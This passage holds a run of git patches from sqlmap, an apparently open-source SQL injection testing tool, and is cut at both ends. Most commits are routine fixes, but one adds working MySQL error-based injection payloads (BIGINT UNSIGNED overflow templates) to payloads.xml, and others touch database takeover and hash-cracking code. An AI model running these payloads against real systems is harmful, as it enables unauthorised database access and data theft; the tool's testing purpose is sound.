file_) logger.critical(errMsg) From 8ea22c512464b5ca7253d60808091ae93af29a14 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:34:53 +0100 Subject: [PATCH 102/492] Fix for an Issue #878 --- lib/utils/google.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/utils/google.py b/lib/utils/google.py index e675aa1af..5da738dc6 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -46,10 +46,8 @@ class Google(object): try: conn = self.opener.open("http://www.google.com/ncr") conn.info() # retrieve session cookie - except urllib2.HTTPError, e: - e.info() - except urllib2.URLError: - errMsg = "unable to connect to Google" + except Exception, ex: + errMsg = "unable to connect to Google ('%s')" % ex raise SqlmapConnectionException(errMsg) def search(self, dork): From b7aeb670e1ebe227cb28671f93756f88e7aa5468 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Oct 2014 10:14:01 +0100 Subject: [PATCH 103/492] Implementation of a new MySQL error-based payload (found at RDot) --- xml/payloads.xml | 80 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/xml/payloads.xml b/xml/payloads.xml index 8367359bf..97d92fbf2 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1252,6 +1252,26 @@ Formats: + + MySQL >= 5.5 AND error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + 2 + 4 + 0 + 1 + 1 + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 4.1 AND error-based - WHERE or HAVING clause 2 @@ -1470,6 +1490,26 @@ Formats: + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + 2 + 5 + 2 + 1 + 1 + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 4.1 OR error-based - WHERE or HAVING clause 2 @@ -1715,6 +1755,26 @@ Formats: + + MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) + 2 + 5 + 0 + 1,2,3 + 3 + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ PostgreSQL error-based - Parameter replace 2 @@ -1877,6 +1937,26 @@ Formats: + + MySQL >= 5.5 error-based - GROUP BY and ORDER BY clauses (BIGINT UNSIGNED) + 2 + 5 + 0 + 2,3 + 1 + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ PostgreSQL error-based - GROUP BY and ORDER BY clauses 2 From 5b0d74146e917290abe5ff79bdad9571b6747d5e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 01:01:35 +0100 Subject: [PATCH 104/492] Fix for an Issue #883 --- lib/parse/cmdline.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 06eccdd9c..c914a3d27 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -860,6 +860,9 @@ def cmdLineParser(): try: (args, _) = parser.parse_args(argv) + except UnicodeEncodeError, ex: + print "\n[!] %s" % ex.object.encode("unicode-escape") + raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" From 0feb379b47e7d19a0aa9574be445ef528e15ae3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:39:29 +0100 Subject: [PATCH 105/492] Fix for an Issue #887 --- lib/takeover/xp_cmdshell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index b1dbf3388..706863ca0 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -228,7 +228,7 @@ class Xp_cmdshell: if output and isListLike(output) and len(output) > 1: _ = "" - lines = [_ for _ in flattenValue(output) if _ is not None] + lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" From 38978c3e549661b5057cc1a9b1c0a3f514fcac87 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:45:26 +0100 Subject: [PATCH 106/492] Fix for an Issue #884 --- lib/core/common.py | 2 +- lib/utils/hash.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 636703505..6d69fbfd7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -989,7 +989,7 @@ def checkFile(filename): Checks for file existence """ - if not os.path.isfile(filename): + if filename is None or not os.path.isfile(filename): raise SqlmapFilePathException("unable to read file '%s'" % filename) def banner(): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 0c76bff5b..e414e7239 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -750,6 +750,8 @@ def dictionaryAttack(attack_dict): else: logger.info("using default dictionary") + dictPaths = filter(None, dictPaths) + for dictPath in dictPaths: checkFile(dictPath) From 4de4f5c1babc5250ec8d72e5e8f3fdab5788cb66 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:59:31 +0100 Subject: [PATCH 107/492] Minor style fix --- sqlmap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sqlmap.py b/sqlmap.py index 4d3bfb213..3472b17a8 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -132,9 +132,10 @@ def main(): excMsg = traceback.format_exc() for match in re.finditer(r'File "(.+?)", line', excMsg): - file_ = match.group(1).replace('\\', "/") - file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ - file_ = re.sub(r"(?i)sqlmap[^/]*/", "", file_, 1) + file_ = match.group(1) + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + file_ = file_.replace("\\", '/') + file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) logger.critical(errMsg) From c33e493e0dc1969931468a3b38fd4008608cd5cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 17:06:09 +0100 Subject: [PATCH 108/492] Fix for an Issue #885 --- lib/takeover/udf.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index df0453d19..c1e508b79 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import os from lib.core.agent import agent +from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import isStackingAvailable @@ -146,6 +147,7 @@ class UDF: if len(self.udfToCreate) > 0: self.udfSetRemotePath() + checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: From 65c3dfd6513c6caf352dd12cd92dec2d1b0c1fee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 18:40:11 +0100 Subject: [PATCH 109/492] Bug fix (proper path joining) --- plugins/dbms/mysql/takeover.py | 4 ++-- plugins/dbms/postgresql/takeover.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index e6e79e3db..4457c9493 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -78,10 +78,10 @@ class Takeover(GenericTakeover): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % Backend.getArch() + self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll") self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % Backend.getArch() + self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so") self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index b310c43cd..0c3a41584 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -58,10 +58,10 @@ class Takeover(GenericTakeover): raise SqlmapUnsupportedFeatureException(errMsg) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) + self.udfLocalFile = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll") self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer) + self.udfLocalFile = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so") self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): From ab269f315f8c1bc440bd74bb7685d90d4756bade Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 18:58:30 +0100 Subject: [PATCH 110/492] Fix for an Issue #886 --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c914a3d27..0bfbbba77 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -41,7 +41,7 @@ def cmdLineParser(): checkSystemEncoding() - _ = os.path.normpath(sys.argv[0]) + _ = getUnicode(os.path.normpath(sys.argv[0]), system=True) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) From 49d3860b1fa7f3df20bbdc573f6d5c061257fae9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 20:22:15 +0100 Subject: [PATCH 111/492] Minor fix --- lib/request/connect.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index a0ed7d6ff..ded020cb0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -273,7 +273,6 @@ class Connect(object): url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) - requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency From 4e0e64d06bbd7c66506c2d2bfeb854c8a546fb4f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 20:28:37 +0100 Subject: [PATCH 112/492] Bug fix for DNS Exfiltration in PgSQL case ('invalid URI') --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2d6146c3b..9a33194bb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -993,7 +993,7 @@ class Agent(object): """ _ = re.escape(PAYLOAD_DELIMITER) - return re.sub("(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value + return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: From baf9ada28dadb93af8c1e9ddac52a68fb85d91fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Nov 2014 17:13:33 +0100 Subject: [PATCH 113/492] Fix for an Issue #889 --- lib/parse/sitemap.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 16aaf1e47..799f62a92 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -5,11 +5,13 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import httplib import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger +from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset @@ -26,8 +28,13 @@ def parseSitemap(url, retVal=None): abortedFlag = False retVal = oset() - content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" - for match in re.finditer(r"\s*([^<]+)", content): + try: + content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" + except httplib.InvalidURL: + errMsg = "invalid URL given for sitemap ('%s')" % url + raise SqlmapSyntaxException, errMsg + + for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() From a4d058d70cb89e88790c7003182733b033f80087 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 10:55:38 +0100 Subject: [PATCH 114/492] More anonymization of unhanded exception data --- lib/core/common.py | 6 +++++- sqlmap.py | 4 ++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6d69fbfd7..0182c2949 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -9,6 +9,7 @@ import codecs import contextlib import cookielib import copy +import getpass import hashlib import httplib import inspect @@ -2845,7 +2846,7 @@ def unhandledExceptionMessage(): errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) - return maskSensitiveData(errMsg) + return errMsg def createGithubIssue(errMsg, excMsg): """ @@ -2896,6 +2897,9 @@ def maskSensitiveData(msg): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) + if getpass.getuser(): + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) + return retVal def listToStrValue(value): diff --git a/sqlmap.py b/sqlmap.py index 3472b17a8..6a4683881 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -25,6 +25,7 @@ from lib.core.common import banner from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode +from lib.core.common import maskSensitiveData from lib.core.common import setColor from lib.core.common import setPaths from lib.core.common import weAreFrozen @@ -138,6 +139,9 @@ def main(): file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) + errMsg = maskSensitiveData(errMsg) + excMsg = maskSensitiveData(excMsg) + logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) From 1ef2c4006d035bae83c6aec5e392da74a9e266d2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 11:01:46 +0100 Subject: [PATCH 115/492] Patch for an Issue #892 --- lib/core/common.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0182c2949..20824f268 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -857,8 +857,13 @@ def dataToOutFile(filename, data): if data: retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) - with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: - f.write(data) + try: + with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: + f.write(data) + except IOError, ex: + errMsg = "something went wrong while trying to write " + errMsg += "to the output file ('%s')" % ex + raise SqlmapGenericException(errMsg) return retVal From 9652e4122644ee10412af3fcf51801b4728c4608 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 23:32:19 +0100 Subject: [PATCH 116/492] Path for an Issue #891 --- lib/core/common.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 20824f268..166ecb3ce 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1082,7 +1082,6 @@ def setPaths(): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") - paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") @@ -1091,6 +1090,10 @@ def setPaths(): paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + for path in paths.values(): + if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): + checkFile(path) + def weAreFrozen(): """ Returns whether we are frozen via py2exe. From 05b446b95d7d49da47a8334e164dc9768db941f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Nov 2014 23:38:52 +0100 Subject: [PATCH 117/492] Patch for an Issue #893 --- lib/core/target.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index dd0da7b3d..424ebef91 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -17,6 +17,7 @@ from lib.core.common import Backend from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import normalizeUnicode from lib.core.common import paramToDict from lib.core.common import readInput from lib.core.common import resetCookieJar @@ -573,7 +574,7 @@ def _createTargetDirs(): paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), getUnicode(conf.hostname)) + conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.outputPath): try: From 954bd546896e6ea7dbb9f7c54287dc1e8c5263cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Nov 2014 08:31:50 +0100 Subject: [PATCH 118/492] Fix for an Issue #895 --- plugins/dbms/mysql/takeover.py | 1 + plugins/dbms/postgresql/takeover.py | 2 ++ 2 files changed, 3 insertions(+) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 4457c9493..ec018ee82 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os import re from lib.core.agent import agent diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 0c3a41584..6d29b6cb5 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -5,6 +5,8 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os + from lib.core.common import Backend from lib.core.common import randomStr from lib.core.data import kb From 6f45596f28dc92331b4d2f36fa3c6653db1d03c8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Nov 2014 23:48:44 +0100 Subject: [PATCH 119/492] Minor style update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c31f65cc..381ee15b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -538,7 +538,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") From 4d5b48b2ae3bb2b8c37fc246719fb65b87a62fd9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Nov 2014 00:34:35 +0100 Subject: [PATCH 120/492] Patch for an Issue #896 --- lib/core/common.py | 32 +++++++++++++------------------- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 6 +++--- 3 files changed, 17 insertions(+), 23 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 166ecb3ce..c00793778 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -923,7 +923,7 @@ def readInput(message, default=None, checkBatch=True): try: retVal = raw_input() or default - retVal = getUnicode(retVal, system=True) if retVal else retVal + retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 kb.prependFlag = True @@ -1064,7 +1064,7 @@ def setPaths(): paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") _ = os.path.join(os.path.expanduser("~"), ".sqlmap") - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), system=True) + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") @@ -2009,7 +2009,7 @@ def getPartRun(alias=True): else: return retVal -def getUnicode(value, encoding=None, system=False, noneToNull=False): +def getUnicode(value, encoding=None, noneToNull=False): """ Return the unicode representation of the supplied value: @@ -2028,25 +2028,19 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) return value - if not system: - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - while True: - try: - return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) - except UnicodeDecodeError, ex: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] - else: + if isinstance(value, unicode): + return value + elif isinstance(value, basestring): + while True: try: - return unicode(value) - except UnicodeDecodeError: - return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances + return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) + except UnicodeDecodeError, ex: + value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: - return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) - except: - return getUnicode(value, UNICODE_ENCODING) + return unicode(value) + except UnicodeDecodeError: + return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ diff --git a/lib/core/testing.py b/lib/core/testing.py index c2c96de0a..bc72de58c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -285,7 +285,7 @@ def runCase(parse): elif result is False: # this means no SQL injection has been detected - if None, ignore retVal = False - console = getUnicode(console, system=True) + console = getUnicode(console, encoding=sys.stdin.encoding) if parse and retVal: with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0bfbbba77..a3cbfe582 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -41,7 +41,7 @@ def cmdLineParser(): checkSystemEncoding() - _ = getUnicode(os.path.normpath(sys.argv[0]), system=True) + _ = getUnicode(os.path.normpath(sys.argv[0]), encoding=sys.getfilesystemencoding()) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) @@ -788,7 +788,7 @@ def cmdLineParser(): advancedHelp = True for arg in sys.argv: - argv.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) checkDeprecatedOptions(argv) @@ -837,7 +837,7 @@ def cmdLineParser(): break for arg in shlex.split(command): - argv.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) # Hide non-basic options in basic help case for i in xrange(len(argv)): From 97cc679f9c18765eefe5b8eb2d66dd0d82c777d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Nov 2014 15:15:58 +0100 Subject: [PATCH 121/492] Fix for an Issue #900 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index c00793778..06004d9a7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2025,7 +2025,7 @@ def getUnicode(value, encoding=None, noneToNull=False): return NULL if isListLike(value): - value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) + value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): From 78cc3853b6aaadb973389bf4a643f6788da7eb20 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 09:56:50 +0100 Subject: [PATCH 122/492] Fix for an Issue #902 --- lib/utils/hash.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index e414e7239..022e7eef4 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -665,7 +665,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: @@ -682,7 +682,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): item = None From 71c43be53a6f1780d067807352a1a3af2420455f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:03:19 +0100 Subject: [PATCH 123/492] Patch for an Issue #901 --- lib/request/connect.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index ded020cb0..0dce14365 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -62,6 +62,7 @@ from lib.core.enums import REDIRECTION from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException @@ -651,7 +652,13 @@ class Connect(object): if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: - payload = function(payload=payload, headers=auxHeaders) + try: + payload = function(payload=payload, headers=auxHeaders) + except Exception, ex: + errMsg = "error occurred while running tamper " + errMsg += "function '%s' ('%s')" % (function.func_name, ex) + raise SqlmapGenericException(errMsg) + if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) From a074efe75ed7302d4106c42eee253a52d841b5b7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Nov 2014 10:46:11 +0100 Subject: [PATCH 124/492] Minor improvement of error-based SQLi when trimmed output is detected (trying to reconstruct) --- lib/techniques/error/use.py | 6 